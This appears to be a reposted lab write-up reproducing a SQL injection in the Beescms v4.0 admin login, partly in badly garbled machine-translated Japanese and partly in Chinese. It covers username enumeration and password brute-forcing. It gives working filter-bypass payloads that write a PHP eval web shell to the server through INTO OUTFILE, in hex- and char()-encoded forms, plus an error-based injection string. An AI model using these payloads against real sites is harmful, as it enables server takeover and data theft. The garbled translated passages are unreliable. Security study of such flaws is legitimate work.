SQLインジェクションの脆弱性分析Beescms_v4.0

SQLインジェクションの脆弱性分析Beescms_v4.0

まず、脆弱性の説明

Beescms v4.0の背景のログインコード、コード設計の欠陥は、欠陥保護バイパスグローバル保護SQLインジェクションの存在につながるので。

第二に、脆弱性環境が構築します

1、公式のダウンロードBeescms v4.0の、ダウンロード:http://beescms.com/cxxz.html

図2は、圧縮ファイルを解凍し、サイトのphpstudyのルートにファイルを置きます

3、ブラウザアクセスhttp://192.168.10.171/beescms/install、インストールを開始

  

4、次のステップは、次のインターフェイス、アカウントのパスワードデータベースを入力してきました

  

5、正常にインストール

  

6、mysql.iniは、AT [mysqldを]にエントリを変更し、追加:secure_file_priv =、そうでなければファイルはMySQLのエラーが書き込まれ、格納された後phpstudyを再起動します。

  

第三に、この脆弱性は、バージョンに影響を及ぼし

Beescms v4.0の

第四に、脆弱性の再現

1、裏ページへのブラウザアクセスhttp://192.168.10.171/beescms/admin/

  

2、任意の入力ユーザー名とパスワードは、あなたが列挙されたユーザ名のうち、ブラスト、ユーザー名、パスワードを列挙することができ、「管理ユーザーが存在しない」プロンプトを参照してください

  

  

3、burpsuitユーザ名を列挙、あなたは、コードの設計上の欠陥の脆弱性を見ることができ、あなたがリフレッシュ要求せずに検証した後、複数回提出することができ、攻撃者は最終的にファズ(暴力列挙)につながることができます。

  

4、列挙されたユーザー名とパスワードの列挙によると、列挙が成功したパスワードを見ることができます

  

図5に示すように、ユーザ名は、所与の入力単一引用符、プレゼンスSQLインジェクション脆弱性を示します

  

  

図6に示すように、ソースコードを参照し、見つかったそのf1_value関数と入力されたユーザ名とパスワードフィルタのf1_html関数の使用

  

7は、f1_value機能に従ってください、私たちはあなたが見ることができる、f1_valueファンクションキー入力がフィルタリングされていた、ほとんどの一般的なSQLのキーワードは除外されています。

  

8、f1_html機能に従う、我々は特殊記号の入力機能はhtmlspecialcharsの使用は主に防衛XSSの脆弱性のために、HTMLエスケープをマテリアライズすることがわかりました

  

9、Baiduの検索はhtmlspecialchars関数は、唯一のことは、あなたはCMSがデフォルトパラメータのフィルタリング処理のこのバージョンを使用見ることができ、デフォルトではhtmlspecialchars機能で二重引用符をコードして見つけることが、ここでは単一引用符の導入の抜け穴があります。

  

10、ログイン認証機能check_loginを見つけ、コードを閲覧し続けます

  

11、check_login機能に従うが、check_login機能は、ユーザー名を確認するために、ユーザーを認証し、パスワードが正しいかを検証することである見つけ、検証ロジック抜け穴があります。

  

12、ハンドファジング

12.1検索組合フィルタリングするには、手動テストや他のキーワードを選択

  

上記の分析を介して12.2ソース、方法が発見されたバイパス

上の組合=>ユニ組合

=> selselectectを選択

  

12.3、SQLクエリ溶液中のフィールドの数は、次の図によると、それはSQLクエリステートメント5のフィールドの数と判断されると思います

  

SQLインジェクションによる12.4試みgetshell

12.4.1、次のようにペイロード、次のターゲットサイトのルートに単語を書きます:

管理者の27%、未組合イオンselselectect 1,2,3,4、<PHPの@Eval($ _ POST [CMD]);?> OUTFILEへの「C:/phpStudy/WWW/beescms/shell.php'#

特殊機能に記号がHTMLエスケープをマテリアライズド入力はhtmlspecialchars起因するキーワードであるOUTFILE burpsuitキャプチャ、編集、再生パケット内の12.4.2は、返されたパケットに基づいて、次のエラーは、にあり、見ることができますことをお勧め濾過

  

12.4.3、手動テストのバイパスキーワードフィルタリング保護

OUTFILE => outoutfilefile

=>の中へ中へ

  

12.4.4、通过上面的分析,发现php函数htmlspecialchars()对输入中含有的特殊符号进行html实体化转义,导致不能写shell到目标服务器上。可以通过利用mysql注入的一个特性就可以达到注入效果(即对shell部分进行Hex编码),或者用mysql函数char()就可以绕过这里的限制。

方法一、Hex编码

1、 对shell部分进行编码

  

2、 写入shell的payload为:注意:记得在编码转换的时候前面加0x或者直接用unhex函数

unhex(3c3f70687020406576616c28245f504f53545b636d645d293b3f3e),但是本次实验用unhex函数一直失败

admin' uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e  in into  outoutfilefile 'C:/phpStudy/WWW/beescms/shell.php'#

3、burp修改数据包,成功写入shell

  

4、菜刀连接

  

方法二、使用char函数

1、mysql内置函数char()可以将里边的ascii码参数转换为字符串,使用python实现快速转换

  

2、构造payload,payload为:

admin' uni union on selselectect null,null,null,null,char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 99, 109, 100, 93, 41, 59, 63, 62)  in into  outoutfilefile 'C:/phpStudy/WWW/beescms/cmd.php'#

3、burp修改数据包,成功写入shell

  

4、菜刀连接

  

后记:

1、经过测试,发现user字段除了存在布尔注入,还存在报错注入

2、构造payload,payload如下:

admin' a and nd extractvalue(1,concat(0x7e,(select user()),0x7e))#

  

 

 

 

---------------------------------------------------------------------------

参考: https://www.ohlinge.cn/php/beescms_sqli.html

https://www.ohlinge.cn/php/beescms_login_sql.html

おすすめ

転載: www.cnblogs.com/yuzly/p/11423384.html